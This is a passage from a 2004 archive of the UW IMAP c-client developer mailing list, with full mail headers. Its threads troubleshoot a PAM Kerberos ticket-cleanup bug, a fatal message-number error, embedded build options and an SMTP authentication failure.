<78F7137E00C47E4FB51E5E590E975C860EFEBD@exchange.robarts.ca> Date: Mon, 13 Sep 2004 11:21:37 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jason Sauve" To: "Jason Sauve" , "Mark Crispin" Cc: Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-yoursite-MailScanner-Information: Please contact the ISP for more information X-yoursite-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've modified checkpw_cleanup in src/osdep/unix/ckp_pam.c to see if the logout hook was being executed in the 2004a source upon POP logout. static void checkpw_cleanup (pam_handle_t *hdl) { openlog("ipop3d",LOG_PID,LOG_MAIL); syslog(LOG_WARNING, "setting logout hook\n"); closelog(); pam_setcred (hdl,PAM_DELETE_CRED); #if 0 /* see checkpw() for why this is #if 0 */ pam_close_session (hdl,NIL); /* close session [uw]tmp */ #endif pam_end (hdl,PAM_SUCCESS); } Nothing was logged to SYSLOG. Hence I'm pretty sure that the hook isn't being called. Also, in reading the PAM API documentation I think that pam_setcred should be called before pam_close_session which is why I changed that also. =20 -----Original Message----- From: Jason Sauve=20 Sent: Monday, September 13, 2004 10:16 AM To: 'Mark Crispin' Cc: 'c-client@u.washington.edu' Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space Mark, I've compiled the 2004a version currently available on the website (md5sum 34d2c66271302cd2f926094fb5e8705d), and have also tested the development version of 2004b. As per inspection, both versions DO contain a logout hook built into src/osdep/unix/ckp_pam.c, but still do not cleanup pam credentials properly (in this case kerberos tickets in /tmp). Why this is I am not sure, but this appears to be a bug in the code still. Jason -----Original Message----- From: Mark Crispin [mailto:mrc@CAC.Washington.EDU] Sent: Saturday, September 11, 2004 12:45 AM To: Jason Sauve Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space On Fri, 10 Sep 2004, Jason Sauve wrote: > The source I downloaded and compiled with to test just a few hours ago > today was actually from ftp://ftp.cac.washington.edu/mail/imap.tar.Z > (2004.88). > If it was 2004a that I downloaded, then the issue doesn't appear to be > resolved in this version as upon logout or disconnect the PAM kerberos > ticket is still left in /tmp. Are you certain that you were actually running the 2004a version of imapd?=20 More than once, someone has said "it wasn't fixed by the new version" when it turned out that they were still inadvertantly running the old binary. The routine which does the cleanup is checkpw_cleanup() in ckp_pam.c. It is armed as the logout hook by checkpw() in the two mail_parameters() calls near the end. Since this is a software issue with the UW IMAP toolkit (c-client library) instead of an IMAP protocol issue, any further discussion on mailing lists should go to the c-client@u.washington.edu mailing list instead of imap@u.washington.edu. Thanks. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Sep 13 14:39:22 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Sep 2004 14:39:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DLdMqD000768 for ; Mon, 13 Sep 2004 14:39:22 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DLdL9j001159 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 13 Sep 2004 14:39:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8DLaonf018072; Mon, 13 Sep 2004 14:36:50 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DLYDU6103058 for ; Mon, 13 Sep 2004 14:34:13 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8DLYCd3005068 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 13 Sep 2004 14:34:13 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DLYCir002472; Mon, 13 Sep 2004 14:34:12 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DLYBh0008284 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 13 Sep 2004 14:34:11 -0700 Message-Id: Date: Mon, 13 Sep 2004 14:34:15 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jason Sauve Cc: c-client@u.washington.edu Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space In-Reply-To: <78F7137E00C47E4FB51E5E590E975C860EFEBD@exchange.robarts.ca> References: <78F7137E00C47E4FB51E5E590E975C860EFEBD@exchange.robarts.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you for your investigation work; and in particular for your information that the logout hook was not being called. I believe that this problem is remedied in today's ftp://ftp.cac.washington.edu/mail/imap-2004b.DEV.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 14 08:05:52 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Sep 2004 08:05:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8EF5qO3000998 for ; Tue, 14 Sep 2004 08:05:52 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8EF5pAW024824 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 14 Sep 2004 08:05:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8EF3Xm8013850; Tue, 14 Sep 2004 08:03:33 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8EF24BS109808 for ; Tue, 14 Sep 2004 08:02:04 -0700 Received: from doom.robarts.ca (doom.robarts.ca [198.20.36.26]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8EF2390026352 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 14 Sep 2004 08:02:03 -0700 Received: from exchange.robarts.ca (exchange.robarts.ca [198.20.36.19]) by doom.robarts.ca (8.12.11/8.12.11) with ESMTP id i8EF1uSt013808; Tue, 14 Sep 2004 11:01:56 -0400 Message-Id: <78F7137E00C47E4FB51E5E590E975C860EFF07@exchange.robarts.ca> Date: Tue, 14 Sep 2004 11:02:15 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jason Sauve" To: "Mark Crispin" Cc: Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-yoursite-MailScanner-Information: Please contact the ISP for more information X-yoursite-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your src/osdep/unix/env_unix.c patch in yesterday's DEV build absolutely fixed the problem with the logout hook not being called. Thanks a bunch. Jason -----Original Message----- From: mrc@ndcms.cac.washington.edu [mailto:mrc@ndcms.cac.washington.edu] On Behalf Of Mark Crispin Sent: Monday, September 13, 2004 5:34 PM To: Jason Sauve Cc: c-client@u.washington.edu Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space Thank you for your investigation work; and in particular for your information that the logout hook was not being called. I believe that this problem is remedied in today's ftp://ftp.cac.washington.edu/mail/imap-2004b.DEV.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 14 18:28:45 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Sep 2004 18:28:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F1SjS0026953 for ; Tue, 14 Sep 2004 18:28:45 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F1SikG028576 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 14 Sep 2004 18:28:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8F1QfRD017068; Tue, 14 Sep 2004 18:26:42 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F1PM8T106032 for ; Tue, 14 Sep 2004 18:25:22 -0700 Received: from beth.easthouston.org (dsl254-117-002.nyc1.dsl.speakeasy.net [216.254.117.2]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8F1PIFS021570 for ; Tue, 14 Sep 2004 18:25:19 -0700 Received: from [192.168.2.20] (dsl254-117-002.nyc1.dsl.speakeasy.net [216.254.117.2]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by beth.easthouston.org (Postfix) with ESMTP id 608D647DE02 for ; Tue, 14 Sep 2004 21:25:17 -0400 (EDT) Message-Id: <18934C4B-06B6-11D9-8B34-000A9599DD84@easthouston.org> Date: Tue, 14 Sep 2004 21:25:15 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brian Redman To: c-client@u.washington.edu Subject: fatal: ?Bad msgno X in mail_elt, nmsgs = Y Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What's the recommended way to guard against trying to access a message via msgno that's greater than nmsgs. I currently check myStream->nmsgs but occasionally when I mail_fetchenvelope(myStream, msgno) I get the fatal error anyway. I know other mail clients may be modifying the mailbox while I'm monitoring it readonly and I'd be happy to get an error return but as it stands it's fatal. So I assume there's a way to avoid the fatal error. Is there a way to lock the stream or something so it doesn't get updated in the course of the mail_fetchenvelope()? Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 14 21:41:53 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Sep 2004 21:41:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F4froM031938 for ; Tue, 14 Sep 2004 21:41:53 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F4fqnH006332 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 14 Sep 2004 21:41:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8F4ZpZZ011312; Tue, 14 Sep 2004 21:35:52 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F4YbZL021248 for ; Tue, 14 Sep 2004 21:34:37 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8F4Yb4c029653 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 14 Sep 2004 21:34:37 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F4YaQ1024296; Tue, 14 Sep 2004 21:34:36 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F4Ya4K020291; Tue, 14 Sep 2004 21:34:36 -0700 Message-Id: Date: Tue, 14 Sep 2004 21:34:36 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Brian Redman Cc: c-client@u.washington.edu Subject: Re: fatal: ?Bad msgno X in mail_elt, nmsgs = Y In-Reply-To: <18934C4B-06B6-11D9-8B34-000A9599DD84@easthouston.org> References: <18934C4B-06B6-11D9-8B34-000A9599DD84@easthouston.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 14 Sep 2004, Brian Redman wrote: > What's the recommended way to guard against trying to access a message via > msgno that's greater than nmsgs. Keep track of all mm_exists() and mm_expunged() events. That will guarantee that at all times you know the number of messages in the mailbox. Never send msgno 0 or a number greater than the number of messages. > I currently check myStream->nmsgs but > occasionally when I mail_fetchenvelope(myStream, msgno) I get the fatal error > anyway. You must be doing something wrong; because if you did that you would not have the problem. Between the time you checked myStream->nmsgs and called mail_fetchenvelope() you must have gotten a mm_expunged() event. mm_expunged() events happen only at well-defined points. Are you sure that you aren't doing something like: if (msgno <= myStream->nmsgs) { . . . mail_ping (myStream); . . . env = mail_fetchenvelope (myStream,msgno); the point being that you called some other mail_xxxxxx() function between your test and calling mail_fetchenvelope(). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 14 21:50:13 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Sep 2004 21:50:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F4oCoT032192 for ; Tue, 14 Sep 2004 21:50:12 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F4oBbK006908 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 14 Sep 2004 21:50:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8F4mOL2016324; Tue, 14 Sep 2004 21:48:24 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F4lR4l021320 for ; Tue, 14 Sep 2004 21:47:27 -0700 Received: from beth.easthouston.org (dsl254-117-002.nyc1.dsl.speakeasy.net [216.254.117.2]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8F4lQSU005334 for ; Tue, 14 Sep 2004 21:47:26 -0700 Received: from [192.168.2.20] (dsl254-117-002.nyc1.dsl.speakeasy.net [216.254.117.2]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by beth.easthouston.org (Postfix) with ESMTP id 9401447E472; Wed, 15 Sep 2004 00:47:25 -0400 (EDT) Message-Id: <55807D60-06D2-11D9-8B34-000A9599DD84@easthouston.org> Date: Wed, 15 Sep 2004 00:47:23 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brian Redman To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: fatal: ?Bad msgno X in mail_elt, nmsgs = Y In-Reply-To: References: <18934C4B-06B6-11D9-8B34-000A9599DD84@easthouston.org> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: multipart/alternative; boundary=Apple-Mail-144-952326214 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-144-952326214 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On Sep 15, 2004, at 12:34 AM, Mark Crispin wrote: > On Tue, 14 Sep 2004, Brian Redman wrote: >> What's the recommended way to guard against trying to access a >> message via msgno that's greater than nmsgs. > > Keep track of all mm_exists() and mm_expunged() events. That will > guarantee that at all times you know the number of messages in the > mailbox. Never send msgno 0 or a number greater than the number of > messages. > >> I currently check myStream->nmsgs but occasionally when I >> mail_fetchenvelope(myStream, msgno) I get the fatal error anyway. > > You must be doing something wrong; because if you did that you would > not have the problem. Between the time you checked myStream->nmsgs > and called mail_fetchenvelope() you must have gotten a mm_expunged() > event. mm_expunged() events happen only at well-defined points. > > Are you sure that you aren't doing something like: > if (msgno <= myStream->nmsgs) { > . . . > mail_ping (myStream); > . . . > env = mail_fetchenvelope (myStream,msgno); > > the point being that you called some other mail_xxxxxx() function > between your test and calling mail_fetchenvelope(). Thanks Mark, If this code fragment *should* be sufficient then I'll look around for another cause such as faulty thread locking logic in my code or some-such. if (myStream != nil) { if (msgno <= myStream->nmsgs) { envelope = mail_fetchenvelope(myStream, msgno); } } --Apple-Mail-144-952326214 Content-Transfer-Encoding: 7bit Content-Type: text/enriched; charset=US-ASCII On Sep 15, 2004, at 12:34 AM, Mark Crispin wrote: On Tue, 14 Sep 2004, Brian Redman wrote: What's the recommended way to guard against trying to access a message via msgno that's greater than nmsgs. Keep track of all mm_exists() and mm_expunged() events. That will guarantee that at all times you know the number of messages in the mailbox. Never send msgno 0 or a number greater than the number of messages. I currently check myStream->nmsgs but occasionally when I mail_fetchenvelope(myStream, msgno) I get the fatal error anyway. You must be doing something wrong; because if you did that you would not have the problem. Between the time you checked myStream->nmsgs and called mail_fetchenvelope() you must have gotten a mm_expunged() event. mm_expunged() events happen only at well-defined points. Are you sure that you aren't doing something like: if (msgno <<= myStream->nmsgs) { . . . mail_ping (myStream); . . . env = mail_fetchenvelope (myStream,msgno); the point being that you called some other mail_xxxxxx() function between your test and calling mail_fetchenvelope(). Thanks Mark, If this code fragment *should* be sufficient then I'll look around for another cause such as faulty thread locking logic in my code or some-such. 7676,0F0F,5050if (myStream != 7676,0F0F,5050nil) { 7676,0F0F,5050if (msgno <<= myStream->nmsgs) { envelope = mail_fetchenvelope(myStream, msgno); } } --Apple-Mail-144-952326214-- From pinedev@shivax2.cac.washington.edu Wed Sep 15 01:50:01 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 2004 01:50:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F8o010008442 for ; Wed, 15 Sep 2004 01:50:00 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F8o07F031892 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 15 Sep 2004 01:50:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8F8mf6X014732; Wed, 15 Sep 2004 01:48:41 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8F8lT5V117344 for ; Wed, 15 Sep 2004 01:47:29 -0700 Received: from greyhound.i3micro.se (greyhound.i3micro.se [217.78.34.60]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id i8F8lRVK030469 for ; Wed, 15 Sep 2004 01:47:28 -0700 Received: (qmail 21162 invoked by uid 110); 15 Sep 2004 08:47:26 -0000 Received: from pitbull.i3micro.se (HELO ?10.0.0.190?) (217.78.34.62) by greyhound.i3micro.se with SMTP; 15 Sep 2004 08:47:26 -0000 Message-Id: <4148019D.5070306@i3micro.com> Date: Wed, 15 Sep 2004 10:47:25 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: c-client@u.washington.edu Subject: Build question MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, sv X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm building the c-client for an embedded linux system and I'm wondering about some things: (By make option: make slx SSLTYPE=none) 1. It seems that the library builds with RSHPATH=/usr/bin/rsh BUT I'm building without SSL. Can I disable RSH in any way? 2. I want to use the library for a simple pop3/imap/smtp email client, what options do I have to the smallest library possible? -- Niklas Fondberg Development Manager, User Interfaces i3 Micro Technology AB -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 15 06:28:21 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 2004 06:28:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FDSKTw018290 for ; Wed, 15 Sep 2004 06:28:20 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FDSKCR003278 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 15 Sep 2004 06:28:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8FDR3Zl003800; Wed, 15 Sep 2004 06:27:03 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FDPglb091756 for ; Wed, 15 Sep 2004 06:25:42 -0700 Received: from greyhound.i3micro.se (greyhound.i3micro.se [217.78.34.60]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id i8FDPew8000927 for ; Wed, 15 Sep 2004 06:25:41 -0700 Received: (qmail 13436 invoked by uid 110); 15 Sep 2004 13:25:37 -0000 Received: from pitbull.i3micro.se (HELO ?10.0.0.190?) (217.78.34.62) by greyhound.i3micro.se with SMTP; 15 Sep 2004 13:25:37 -0000 Message-Id: <414842D1.6020202@i3micro.com> Date: Wed, 15 Sep 2004 15:25:37 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: c-client@u.washington.edu Subject: smtp auth problem MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, sv X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm not able to get to mm_login when I call smtp_open to a smtp server that needs authentification. What am I doing wrong? The one entry in hostlist looks like: smtp.home.se/user=YYYY@XXX.xx Here is the debug output... mm_log: [Trying IP address [213.214.194.102]] 220 smtp2.home.se Novonyx SMTP ready $Revision: 3.22.1.8 $ EHLO i3-dhcp190.sthlm.i3micro.se 250-smtp2.home.se Pleased to meet you 250-ETRN 250-HELP 250-EXPN 250-PIPELINING 250-8BITMIME 250-DSN 250-AUTH LOGIN 250-AUTH=LOGIN 250 SIZE 10485760 mm_log: ?SMTP authentication not available: smtp.home.se QUIT 221 smtp2.home.se So long, and thanks for all the fish [Can't open connection to any server]Content-Type: text/html -- Niklas Fondberg Development Manager, User Interfaces -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 15 09:00:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 2004 09:00:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FG0x2m023284 for ; Wed, 15 Sep 2004 09:00:59 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FG0w4x013198 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 15 Sep 2004 09:00:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8FFxXIp013022; Wed, 15 Sep 2004 08:59:33 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by 